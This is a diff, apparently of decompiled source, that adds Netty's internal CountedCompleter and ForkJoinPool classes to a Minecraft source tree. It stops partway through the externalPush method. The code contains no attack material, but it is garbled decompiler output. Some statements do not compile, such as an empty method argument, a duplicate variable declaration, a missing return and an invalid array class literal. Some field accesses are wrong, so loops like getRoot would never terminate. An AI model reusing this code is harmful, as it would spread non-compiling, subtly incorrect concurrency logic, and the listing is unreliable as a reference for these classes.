+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class CountedCompleter<T>
+  extends ForkJoinTask<T>
+{
+  private static final long serialVersionUID = 5232453752276485070L;
+  final CountedCompleter<?> completer;
+  volatile int pending;
+  private static final Unsafe U;
+  private static final long PENDING;
+  
+  protected CountedCompleter(CountedCompleter<?> completer, int initialPendingCount)
+  {
+    this.completer = completer;
+    pending = initialPendingCount;
+  }
+  
+
+
+
+
+
+  protected CountedCompleter(CountedCompleter<?> completer)
+  {
+    this.completer = completer;
+  }
+  
+
+
+
+  protected CountedCompleter()
+  {
+    completer = null;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean onExceptionalCompletion(Throwable ex, CountedCompleter<?> caller)
+  {
+    return true;
+  }
+  
+
+
+
+
+
+  public final CountedCompleter<?> getCompleter()
+  {
+    return completer;
+  }
+  
+
+
+
+
+  public final int getPendingCount()
+  {
+    return pending;
+  }
+  
+
+
+
+
+  public final void setPendingCount(int count)
+  {
+    pending = count;
+  }
+  
+
+
+  public final void addToPendingCount(int delta)
+  {
+    int c;
+    
+
+    while (!U.compareAndSwapInt(this, PENDING, c = pending, c + delta)) {}
+  }
+  
+
+
+
+
+
+
+
+  public final boolean compareAndSetPendingCount(int expected, int count)
+  {
+    return U.compareAndSwapInt(this, PENDING, expected, count);
+  }
+  
+
+
+
+  public final int decrementPendingCountUnlessZero()
+  {
+    int c;
+    
+
+    while (((c = pending) != 0) && (!U.compareAndSwapInt(this, PENDING, c, c - 1))) {}
+    
+    return c;
+  }
+  
+
+
+
+
+
+  public final CountedCompleter<?> getRoot()
+  {
+    CountedCompleter<?> a = this;
+    CountedCompleter<?> p; while ((p = completer) != null)
+      a = p;
+    return a;
+  }
+  
+
+
+
+
+
+  public final void tryComplete()
+  {
+    CountedCompleter<?> a = this;CountedCompleter<?> s = a;
+    int c;
+    do { while ((c = pending) == 0) {
+        a.onCompletion(s);
+        if ((a = completer) == null) {
+          s.quietlyComplete();
+          return;
+        }
+      }
+    } while (!U.compareAndSwapInt(a, PENDING, c, c - 1));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public final void propagateCompletion()
+  {
+    CountedCompleter<?> a = this;CountedCompleter<?> s = a;
+    int c;
+    do { while ((c = pending) == 0) {
+        if ((a = completer) == null) {
+          s.quietlyComplete();
+          return;
+        }
+      }
+    } while (!U.compareAndSwapInt(a, PENDING, c, c - 1));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void complete(T rawResult)
+  {
+    setRawResult(rawResult);
+    onCompletion(this);
+    quietlyComplete();
+    CountedCompleter<?> p; if ((p = completer) != null) {
+      p.tryComplete();
+    }
+  }
+  
+
+
+
+  public final CountedCompleter<?> firstComplete()
+  {
+    int c;
+    
+
+    do
+    {
+      if ((c = pending) == 0)
+        return this;
+    } while (!U.compareAndSwapInt(this, PENDING, c, c - 1));
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final CountedCompleter<?> nextComplete()
+  {
+    CountedCompleter<?> p;
+    
+
+
+
+
+
+
+
+    if ((p = completer) != null) {
+      return p.firstComplete();
+    }
+    quietlyComplete();
+    return null;
+  }
+  
+
+
+
+  public final void quietlyCompleteRoot()
+  {
+    CountedCompleter<?> a = this;
+    for (;;) { CountedCompleter<?> p; if ((p = completer) == null) {
+        a.quietlyComplete();
+        return;
+      }
+      a = p;
+    }
+  }
+  
+
+
+  void internalPropagateException(Throwable ex)
+  {
+    CountedCompleter<?> a = this;CountedCompleter<?> s = a;
+    
+    while ((a.onExceptionalCompletion(ex, s)) && ((a = completer) != null) && (status >= 0) && (a.recordExceptionalCompletion(ex) == Integer.MIN_VALUE)) {}
+  }
+  
+
+
+
+
+  protected final boolean exec()
+  {
+    compute();
+    return false;
+  }
+  
+
+
+
+
+
+
+
+  public T getRawResult()
+  {
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+  static
+  {
+    try
+    {
+      U = getUnsafe();
+      PENDING = U.objectFieldOffset(CountedCompleter.class.getDeclaredField("pending"));
+    }
+    catch (Exception e) {
+      throw new Error(e);
+    }
+  }
+  
+
+
+
+
+
+  private static Unsafe getUnsafe()
+  {
+    try
+    {
+      return Unsafe.getUnsafe();
+    } catch (SecurityException tryReflectionInstead) {
+      try {
+        (Unsafe)AccessController.doPrivileged(new PrivilegedExceptionAction()
+        {
+          public Unsafe run() throws Exception {
+            Class<Unsafe> k = Unsafe.class;
+            for (Field f : k.getDeclaredFields()) {
+              f.setAccessible(true);
+              Object x = f.get(null);
+              if (k.isInstance(x))
+                return (Unsafe)k.cast(x);
+            }
+            throw new NoSuchFieldError("the Unsafe");
+          }
+        });
+      } catch (PrivilegedActionException e) { throw new RuntimeException("Could not initialize intrinsics", e.getCause());
+      }
+    }
+  }
+  
+  public abstract void compute();
+  
+  public void onCompletion(CountedCompleter<?> caller) {}
+  
+  protected void setRawResult(T t) {}
+}
diff --git a/src/minecraft/io/netty/util/internal/chmv8/ForkJoinPool.java b/src/minecraft/io/netty/util/internal/chmv8/ForkJoinPool.java
new file mode 100644
index 0000000..f3041e1
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/chmv8/ForkJoinPool.java
@@ -0,0 +1,3371 @@
+package io.netty.util.internal.chmv8;
+
+import io.netty.util.internal.ThreadLocalRandom;
+import java.lang.reflect.Field;
+import java.security.AccessController;
+import java.security.PrivilegedAction;
+import java.security.PrivilegedActionException;
+import java.security.PrivilegedExceptionAction;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.AbstractExecutorService;
+import java.util.concurrent.Callable;
+import java.util.concurrent.Future;
+import java.util.concurrent.RejectedExecutionException;
+import java.util.concurrent.RunnableFuture;
+import java.util.concurrent.TimeUnit;
+import sun.misc.Unsafe;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ForkJoinPool
+  extends AbstractExecutorService
+{
+  static final ThreadLocal<Submitter> submitters;
+  public static final ForkJoinWorkerThreadFactory defaultForkJoinWorkerThreadFactory;
+  private static final RuntimePermission modifyThreadPermission;
+  static final ForkJoinPool common;
+  static final int commonParallelism;
+  private static int poolNumberSequence;
+  private static final long IDLE_TIMEOUT = 2000000000L;
+  private static final long FAST_IDLE_TIMEOUT = 200000000L;
+  private static final long TIMEOUT_SLOP = 2000000L;
+  private static final int MAX_HELP = 64;
+  private static final int SEED_INCREMENT = 1640531527;
+  private static final int AC_SHIFT = 48;
+  private static final int TC_SHIFT = 32;
+  private static final int ST_SHIFT = 31;
+  private static final int EC_SHIFT = 16;
+  private static final int SMASK = 65535;
+  private static final int MAX_CAP = 32767;
+  private static final int EVENMASK = 65534;
+  private static final int SQMASK = 126;
+  private static final int SHORT_SIGN = 32768;
+  private static final int INT_SIGN = Integer.MIN_VALUE;
+  private static final long STOP_BIT = 2147483648L;
+  private static final long AC_MASK = -281474976710656L;
+  private static final long TC_MASK = 281470681743360L;
+  private static final long TC_UNIT = 4294967296L;
+  private static final long AC_UNIT = 281474976710656L;
+  private static final int UAC_SHIFT = 16;
+  private static final int UTC_SHIFT = 0;
+  private static final int UAC_MASK = -65536;
+  private static final int UTC_MASK = 65535;
+  private static final int UAC_UNIT = 65536;
+  private static final int UTC_UNIT = 1;
+  private static final int E_MASK = Integer.MAX_VALUE;
+  private static final int E_SEQ = 65536;
+  private static final int SHUTDOWN = Integer.MIN_VALUE;
+  private static final int PL_LOCK = 2;
+  private static final int PL_SIGNAL = 1;
+  private static final int PL_SPINS = 256;
+  static final int LIFO_QUEUE = 0;
+  static final int FIFO_QUEUE = 1;
+  static final int SHARED_QUEUE = -1;
+  volatile long pad00;
+  volatile long pad01;
+  volatile long pad02;
+  volatile long pad03;
+  volatile long pad04;
+  volatile long pad05;
+  volatile long pad06;
+  volatile long stealCount;
+  volatile long ctl;
+  volatile int plock;
+  volatile int indexSeed;
+  final short parallelism;
+  final short mode;
+  WorkQueue[] workQueues;
+  final ForkJoinWorkerThreadFactory factory;
+  final Thread.UncaughtExceptionHandler ueh;
+  final String workerNamePrefix;
+  volatile Object pad10;
+  volatile Object pad11;
+  volatile Object pad12;
+  volatile Object pad13;
+  volatile Object pad14;
+  volatile Object pad15;
+  volatile Object pad16;
+  volatile Object pad17;
+  volatile Object pad18;
+  volatile Object pad19;
+  volatile Object pad1a;
+  volatile Object pad1b;
+  private static final Unsafe U;
+  private static final long CTL;
+  private static final long PARKBLOCKER;
+  private static final int ABASE;
+  private static final int ASHIFT;
+  private static final long STEALCOUNT;
+  private static final long PLOCK;
+  private static final long INDEXSEED;
+  private static final long QBASE;
+  private static final long QLOCK;
+  
+  private static void checkPermission()
+  {
+    SecurityManager security = System.getSecurityManager();
+    if (security != null) {
+      security.checkPermission(modifyThreadPermission);
+    }
+  }
+  
+
+
+
+
+
+  public static abstract interface ForkJoinWorkerThreadFactory
+  {
+    public abstract ForkJoinWorkerThread newThread(ForkJoinPool paramForkJoinPool);
+  }
+  
+
+
+
+
+  static final class DefaultForkJoinWorkerThreadFactory
+    implements ForkJoinPool.ForkJoinWorkerThreadFactory
+  {
+    DefaultForkJoinWorkerThreadFactory() {}
+    
+
+
+
+
+    public final ForkJoinWorkerThread newThread(ForkJoinPool pool)
+    {
+      return new ForkJoinWorkerThread(pool);
+    }
+  }
+  
+
+
+  static final class EmptyTask
+    extends ForkJoinTask<Void>
+  {
+    private static final long serialVersionUID = -7721805057305804111L;
+    
+
+    EmptyTask() { status = -268435456; }
+    public final Void getRawResult() { return null; }
+    public final void setRawResult(Void x) {}
+    public final boolean exec() { return true; }
+  }
+  
+
+
+  static final class WorkQueue
+  {
+    static final int INITIAL_QUEUE_CAPACITY = 8192;
+    
+    static final int MAXIMUM_QUEUE_CAPACITY = 67108864;
+    
+    volatile long pad00;
+    
+    volatile long pad01;
+    
+    volatile long pad02;
+    
+    volatile long pad03;
+    
+    volatile long pad04;
+    
+    volatile long pad05;
+    
+    volatile long pad06;
+    
+    volatile int eventCount;
+    
+    int nextWait;
+    
+    int nsteals;
+    
+    int hint;
+    
+    short poolIndex;
+    
+    final short mode;
+    
+    volatile int qlock;
+    
+    volatile int base;
+    
+    int top;
+    
+    ForkJoinTask<?>[] array;
+    
+    final ForkJoinPool pool;
+    
+    final ForkJoinWorkerThread owner;
+    
+    volatile Thread parker;
+    
+    volatile ForkJoinTask<?> currentJoin;
+    
+    ForkJoinTask<?> currentSteal;
+    
+    volatile Object pad10;
+    
+    volatile Object pad11;
+    
+    volatile Object pad12;
+    
+    volatile Object pad13;
+    
+    volatile Object pad14;
+    
+    volatile Object pad15;
+    
+    volatile Object pad16;
+    
+    volatile Object pad17;
+    
+    volatile Object pad18;
+    
+    volatile Object pad19;
+    
+    volatile Object pad1a;
+    
+    volatile Object pad1b;
+    
+    volatile Object pad1c;
+    
+    volatile Object pad1d;
+    
+    private static final Unsafe U;
+    
+    private static final long QBASE;
+    
+    private static final long QLOCK;
+    
+    private static final int ABASE;
+    
+    private static final int ASHIFT;
+    
+
+    WorkQueue(ForkJoinPool pool, ForkJoinWorkerThread owner, int mode, int seed)
+    {
+      this.pool = pool;
+      this.owner = owner;
+      this.mode = ((short)mode);
+      hint = seed;
+      
+      base = (this.top = 'က');
+    }
+    
+
+
+    final int queueSize()
+    {
+      int n = base - top;
+      return n >= 0 ? 0 : -n;
+    }
+    
+
+
+    final boolean isEmpty()
+    {
+      int s;
+      
+
+      int n = base - (s = top);
+      ForkJoinTask<?>[] a; int m; return (n >= 0) || ((n == -1) && (((a = array) == null) || ((m = a.length - 1) < 0) || (U.getObject(a, ((m & s - 1) << ASHIFT) + ABASE) == null)));
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    final void push(ForkJoinTask<?> task)
+    {
+      int s = top;
+      ForkJoinTask<?>[] a; if ((a = array) != null) {
+        int m = a.length - 1;
+        U.putOrderedObject(a, ((m & s) << ASHIFT) + ABASE, task);
+        int n; if ((n = (this.top = s + 1) - base) <= 2) { ForkJoinPool p;
+          (p = pool).signalWork(workQueues, this);
+        } else if (n >= m) {
+          growArray();
+        }
+      }
+    }
+    
+
+
+
+    final ForkJoinTask<?>[] growArray()
+    {
+      ForkJoinTask<?>[] oldA = array;
+      int size = oldA != null ? oldA.length << 1 : 8192;
+      if (size > 67108864) {
+        throw new RejectedExecutionException("Queue capacity exceeded");
+      }
+      ForkJoinTask<?>[] a = this.array = new ForkJoinTask[size];
+      int oldMask; int t; int b; if ((oldA != null) && ((oldMask = oldA.length - 1) >= 0) && ((t = top) - (b = base) > 0))
+      {
+        int mask = size - 1;
+        do
+        {
+          int oldj = ((b & oldMask) << ASHIFT) + ABASE;
+          int j = ((b & mask) << ASHIFT) + ABASE;
+          ForkJoinTask<?> x = (ForkJoinTask)U.getObjectVolatile(oldA, oldj);
+          if ((x != null) && (U.compareAndSwapObject(oldA, oldj, x, null)))
+          {
+            U.putObjectVolatile(a, j, x); }
+          b++; } while (b != t);
+      }
+      return a;
+    }
+    
+
+    final ForkJoinTask<?> pop()
+    {
+      ForkJoinTask<?>[] a;
+      
+      int m;
+      if (((a = array) != null) && ((m = a.length - 1) >= 0)) { int s;
+        while ((s = top - 1) - base >= 0) {
+          long j = ((m & s) << ASHIFT) + ABASE;
+          ForkJoinTask<?> t; if ((t = (ForkJoinTask)U.getObject(a, j)) == null)
+            break;
+          if (U.compareAndSwapObject(a, j, t, null)) {
+            top = s;
+            return t;
+          }
+        }
+      }
+      return null;
+    }
+    
+
+
+    final ForkJoinTask<?> pollAt(int b)
+    {
+      ForkJoinTask<?>[] a;
+      
+
+      if ((a = array) != null) {
+        int j = ((a.length - 1 & b) << ASHIFT) + ABASE;
+        ForkJoinTask<?> t; if (((t = (ForkJoinTask)U.getObjectVolatile(a, j)) != null) && (base == b) && (U.compareAndSwapObject(a, j, t, null)))
+        {
+          U.putOrderedInt(this, QBASE, b + 1);
+          return t;
+        }
+      }
+      return null;
+    }
+    
+
+    final ForkJoinTask<?> poll()
+    {
+      int b;
+      ForkJoinTask<?>[] a;
+      while (((b = base) - top < 0) && ((a = array) != null)) {
+        int j = ((a.length - 1 & b) << ASHIFT) + ABASE;
+        ForkJoinTask<?> t = (ForkJoinTask)U.getObjectVolatile(a, j);
+        if (t != null) {
+          if (U.compareAndSwapObject(a, j, t, null)) {
+            U.putOrderedInt(this, QBASE, b + 1);
+            return t;
+          }
+        }
+        else if (base == b) {
+          if (b + 1 == top)
+            break;
+          Thread.yield();
+        }
+      }
+      return null;
+    }
+    
+
+
+    final ForkJoinTask<?> nextLocalTask()
+    {
+      return mode == 0 ? pop() : poll();
+    }
+    
+
+
+    final ForkJoinTask<?> peek()
+    {
+      ForkJoinTask<?>[] a = array;
+      int m; if ((a == null) || ((m = a.length - 1) < 0))
+        return null;
+      int m; int i = mode == 0 ? top - 1 : base;
+      int j = ((i & m) << ASHIFT) + ABASE;
+      return (ForkJoinTask)U.getObjectVolatile(a, j);
+    }
+    
+
+    final boolean tryUnpush(ForkJoinTask<?> t)
+    {
+      ForkJoinTask<?>[] a;
+      
+      int s;
+      if (((a = array) != null) && ((s = top) != base) && (U.compareAndSwapObject(a, ((a.length - 1 & --s) << ASHIFT) + ABASE, t, null)))
+      {
+
+        top = s;
+        return true;
+      }
+      return false;
+    }
+    
+
+
+    final void cancelAll()
+    {
+      ForkJoinTask.cancelIgnoringExceptions(currentJoin);
+      ForkJoinTask.cancelIgnoringExceptions(currentSteal);
+      ForkJoinTask<?> t; while ((t = poll()) != null) {
+        ForkJoinTask.cancelIgnoringExceptions(t);
+      }
+    }
+    
+
+    final void pollAndExecAll()
+    {
+      ForkJoinTask<?> t;
+      
+      while ((t = poll()) != null) {
+        t.doExec();
+      }
+    }
+    
+
+
+    final void runTask(ForkJoinTask<?> task)
+    {
+      if ((this.currentSteal = task) != null) {
+        task.doExec();
+        ForkJoinTask<?>[] a = array;
+        int md = mode;
+        nsteals += 1;
+        currentSteal = null;
+        if (md != 0) {
+          pollAndExecAll();
+        } else if (a != null) {
+          int m = a.length - 1;
+          int s; while ((s = top - 1) - base >= 0) {
+            long i = ((m & s) << ASHIFT) + ABASE;
+            ForkJoinTask<?> t = (ForkJoinTask)U.getObject(a, i);
+            if (t == null)
+              break;
+            if (U.compareAndSwapObject(a, i, t, null)) {
+              top = s;
+              t.doExec();
+            }
+          }
+        }
+      }
+    }
+    
+
+    final boolean tryRemoveAndExec(ForkJoinTask<?> task)
+    {
+      ForkJoinTask<?>[] a;
+      
+      int m;
+      int s;
+      int b;
+      int n;
+      boolean stat;
+      if ((task != null) && ((a = array) != null) && ((m = a.length - 1) >= 0) && ((n = (s = top) - (b = base)) > 0))
+      {
+        boolean removed = false;boolean empty = true;
+        boolean stat = true;
+        for (;;) {
+          s--;long j = ((s & m) << ASHIFT) + ABASE;
+          ForkJoinTask<?> t = (ForkJoinTask)U.getObject(a, j);
+          if (t == null)
+            break;
+          if (t == task) {
+            if (s + 1 == top) {
+              if (!U.compareAndSwapObject(a, j, task, null))
+                break;
+              top = s;
+              removed = true; break;
+            }
+            if (base != b) break;
+            removed = U.compareAndSwapObject(a, j, task, new ForkJoinPool.EmptyTask()); break;
+          }
+          
+
+          if (status >= 0) {
+            empty = false;
+          } else if (s + 1 == top) {
+            if (!U.compareAndSwapObject(a, j, t, null)) break;
+            top = s; break;
+          }
+          
+          n--; if (n == 0) {
+            if ((empty) || (base != b)) break;
+            stat = false; break;
+          }
+        }
+        
+        if (removed) {
+          task.doExec();
+        }
+      } else {
+        stat = false; }
+      return stat;
+    }
+    
+
+    final boolean pollAndExecCC(CountedCompleter<?> root)
+    {
+      int b;
+      
+      ForkJoinTask<?>[] a;
+      if (((b = base) - top < 0) && ((a = array) != null)) {
+        long j = ((a.length - 1 & b) << ASHIFT) + ABASE;
+        Object o; if ((o = U.getObjectVolatile(a, j)) == null)
+          return true;
+        if ((o instanceof CountedCompleter)) {
+          CountedCompleter<?> t = (CountedCompleter)o;CountedCompleter<?> r = t;
+          for (;;) { if (r == root) {
+              if ((base == b) && (U.compareAndSwapObject(a, j, t, null)))
+              {
+                U.putOrderedInt(this, QBASE, b + 1);
+                t.doExec();
+              }
+              return true;
+            }
+            if ((r = completer) == null)
+              break;
+          }
+        }
+      }
+      return false;
+    }
+    
+
+    final boolean externalPopAndExecCC(CountedCompleter<?> root)
+    {
+      int s;
+      
+      ForkJoinTask<?>[] a;
+      if ((base - (s = top) < 0) && ((a = array) != null)) {
+        long j = ((a.length - 1 & s - 1) << ASHIFT) + ABASE;
+        Object o; if (((o = U.getObject(a, j)) instanceof CountedCompleter)) {
+          CountedCompleter<?> t = (CountedCompleter)o;CountedCompleter<?> r = t;
+          for (;;) { if (r == root) {
+              if (U.compareAndSwapInt(this, QLOCK, 0, 1))
+                if ((top == s) && (array == a) && (U.compareAndSwapObject(a, j, t, null)))
+                {
+                  top = (s - 1);
+                  qlock = 0;
+                  t.doExec();
+                }
+                else {
+                  qlock = 0;
+                }
+              return true;
+            }
+            if ((r = completer) == null)
+              break;
+          }
+        }
+      }
+      return false;
+    }
+    
+
+    final boolean internalPopAndExecCC(CountedCompleter<?> root)
+    {
+      int s;
+      ForkJoinTask<?>[] a;
+      if ((base - (s = top) < 0) && ((a = array) != null)) {
+        long j = ((a.length - 1 & s - 1) << ASHIFT) + ABASE;
+        Object o; if (((o = U.getObject(a, j)) instanceof CountedCompleter)) {
+          CountedCompleter<?> t = (CountedCompleter)o;CountedCompleter<?> r = t;
+          for (;;) { if (r == root) {
+              if (U.compareAndSwapObject(a, j, t, null)) {
+                top = (s - 1);
+                t.doExec();
+              }
+              return true;
+            }
+            if ((r = completer) == null)
+              break;
+          }
+        }
+      }
+      return false;
+    }
+    
+
+    final boolean isApparentlyUnblocked()
+    {
+      Thread wt;
+      Thread.State s;
+      return (eventCount >= 0) && ((wt = owner) != null) && ((s = wt.getState()) != Thread.State.BLOCKED) && (s != Thread.State.WAITING) && (s != Thread.State.TIMED_WAITING);
+    }
+    
+
+
+
+
+
+
+
+
+    static
+    {
+      try
+      {
+        U = ForkJoinPool.access$000();
+        Class<?> k = WorkQueue.class;
+        Class<?> ak = [Lio.netty.util.internal.chmv8.ForkJoinTask.class;
+        QBASE = U.objectFieldOffset(k.getDeclaredField("base"));
+        
+        QLOCK = U.objectFieldOffset(k.getDeclaredField("qlock"));
+        
+        ABASE = U.arrayBaseOffset(ak);
+        int scale = U.arrayIndexScale(ak);
+        if ((scale & scale - 1) != 0)
+          throw new Error("data type scale not a power of two");
+        ASHIFT = 31 - Integer.numberOfLeadingZeros(scale);
+      } catch (Exception e) {
+        throw new Error(e);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final synchronized int nextPoolId()
+  {
+    return ++poolNumberSequence;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private int acquirePlock()
+  {
+    int spins = 256;
+    for (;;) { int ps;
+      int nps; if ((((ps = plock) & 0x2) == 0) && (U.compareAndSwapInt(this, PLOCK, ps, nps = ps + 2)))
+      {
+        return nps; }
+      if (spins >= 0) {
+        if (ThreadLocalRandom.current().nextInt() >= 0) {
+          spins--;
+        }
+      } else if (U.compareAndSwapInt(this, PLOCK, ps, ps | 0x1)) {
+        synchronized (this) {
+          if ((plock & 0x1) != 0) {
+            try {
+              wait();
+            } catch (InterruptedException ie) {
+              try {
+                Thread.currentThread().interrupt();
+
+              }
+              catch (SecurityException ignore) {}
+            }
+          } else {
+            notifyAll();
+          }
+        }
+      }
+    }
+  }
+  
+
+
+  private void releasePlock(int ps)
+  {
+    plock = ps;
+    synchronized (this) { notifyAll();
+    }
+  }
+  
+
+  private void tryAddWorker()
+  {
+    long c;
+    int u;
+    int e;
+    while (((u = (int)((c = ctl) >>> 32)) < 0) && ((u & 0x8000) != 0) && ((e = (int)c) >= 0)) {
+      long nc = (u + 1 & 0xFFFF | u + 65536 & 0xFFFF0000) << 32 | e;
+      
+      if (U.compareAndSwapLong(this, CTL, c, nc))
+      {
+        Throwable ex = null;
+        ForkJoinWorkerThread wt = null;
+        try { ForkJoinWorkerThreadFactory fac;
+          if (((fac = factory) != null) && ((wt = fac.newThread(this)) != null))
+          {
+            wt.start();
+            break;
+          }
+        } catch (Throwable rex) {
+          ex = rex;
+        }
+        deregisterWorker(wt, ex);
+        break;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  final WorkQueue registerWorker(ForkJoinWorkerThread wt)
+  {
+    wt.setDaemon(true);
+    Thread.UncaughtExceptionHandler handler; if ((handler = ueh) != null)
+      wt.setUncaughtExceptionHandler(handler);
+    int s;
+    do { s += 1640531527; } while ((!U.compareAndSwapInt(this, INDEXSEED, s = indexSeed, s)) || (s == 0));
+    
+    WorkQueue w = new WorkQueue(this, wt, mode, s);
+    int ps; if ((((ps = plock) & 0x2) != 0) || (!U.compareAndSwapInt(this, PLOCK, , ps)))
+    {
+      ps = acquirePlock(); }
+    int nps = ps & 0x80000000 | ps + 2 & 0x7FFFFFFF;
+    try { WorkQueue[] ws;
+      if ((ws = workQueues) != null) {
+        int n = ws.length;int m = n - 1;
+        int r = s << 1 | 0x1;
+        if (ws[(r &= m)] != null) {
+          int probes = 0;
+          int step = n <= 4 ? 2 : (n >>> 1 & 0xFFFE) + 2;
+          while (ws[(r = r + step & m)] != null) {
+            probes++; if (probes >= n) {
+              workQueues = (ws = (WorkQueue[])Arrays.copyOf(ws, n <<= 1));
+              m = n - 1;
+              probes = 0;
+            }
+          }
+        }
+        poolIndex = ((short)r);
+        eventCount = r;
+        ws[r] = w;
+      }
+    } finally {
+      if (!U.compareAndSwapInt(this, PLOCK, ps, nps))
+        releasePlock(nps);
+    }
+    wt.setName(workerNamePrefix.concat(Integer.toString(poolIndex >>> 1)));
+    return w;
+  }
+  
+
+
+
+
+
+
+
+
+  final void deregisterWorker(ForkJoinWorkerThread wt, Throwable ex)
+  {
+    WorkQueue w = null;
+    if ((wt != null) && ((w = workQueue) != null))
+    {
+      qlock = -1;
+      long sc; while (!U.compareAndSwapLong(this, STEALCOUNT, sc = stealCount, sc + nsteals)) {}
+      
+      int ps;
+      if ((((ps = plock) & 0x2) != 0) || (!U.compareAndSwapInt(this, PLOCK, , ps)))
+      {
+        ps = acquirePlock(); }
+      int nps = ps & 0x80000000 | ps + 2 & 0x7FFFFFFF;
+      try {
+        int idx = poolIndex;
+        WorkQueue[] ws = workQueues;
+        if ((ws != null) && (idx >= 0) && (idx < ws.length) && (ws[idx] == w))
+          ws[idx] = null;
+      } finally {
+        if (!U.compareAndSwapInt(this, PLOCK, ps, nps)) {
+          releasePlock(nps);
+        }
+      }
+    }
+    long c;
+    while (!U.compareAndSwapLong(this, CTL, c = ctl, c - 281474976710656L & 0xFFFF000000000000 | c - 4294967296L & 0xFFFF00000000 | c & 0xFFFFFFFF)) {}
+    
+
+
+
+    if ((!tryTerminate(false, false)) && (w != null) && (array != null)) {
+      w.cancelAll();
+      int u;
+      int e; while (((u = (int)((c = ctl) >>> 32)) < 0) && ((e = (int)c) >= 0)) {
+        if (e > 0) { WorkQueue[] ws;
+          int i; WorkQueue v; if (((ws = workQueues) != null) && ((i = e & 0xFFFF) < ws.length) && ((v = ws[i]) != null))
+          {
+
+
+            long nc = nextWait & 0x7FFFFFFF | u + 65536 << 32;
+            
+            if (eventCount == (e | 0x80000000))
+            {
+              if (U.compareAndSwapLong(this, CTL, c, nc)) {
+                eventCount = (e + 65536 & 0x7FFFFFFF);
+                Thread p; if ((p = parker) == null) break;
+                U.unpark(p);
+              }
+            }
+          }
+        }
+        else if ((short)u < 0) {
+          tryAddWorker();
+        }
+      }
+    }
+    
+    if (ex == null) {
+      ForkJoinTask.helpExpungeStaleExceptions();
+    } else {
+      ForkJoinTask.rethrow(ex);
+    }
+  }
+  
+
+
+
+
+
+
+  static final class Submitter
+  {
+    int seed;
+    
+
+
+
+
+
+
+    Submitter(int s)
+    {
+      seed = s;
+    }
+  }
+  
+
+
+
+
+
+
+  final void externalPush(ForkJoinTask<?> task)
+  {
+    Submitter z = (Submitter)submitters.get();
+    
+    int ps = plock;
+    WorkQueue[] ws = workQueues;
+    int m; int r; WorkQueue q; if ((z != null) && (ps > 0) && (ws != null) && ((m = ws.length - 1) >= 0) && ((q = ws[(m & (r = seed) & 0x7E)]) != null) && (r != 0) && (U.compareAndSwapInt(q, QLOCK, 0, 1))) { ForkJoinTask<?>[] a;
+      int am;
+      int s;
+      int n; if (((a = array) != null) && ((am = a.length - 1) > (n = (s = top) - base)))
+      {
+        int j = ((am & s) << ASHIFT) + ABASE;
+        U.putOrderedObject(a, j, task);
+        top = (s + 1);
+        qlock = 0;
+        if (n <= 1)
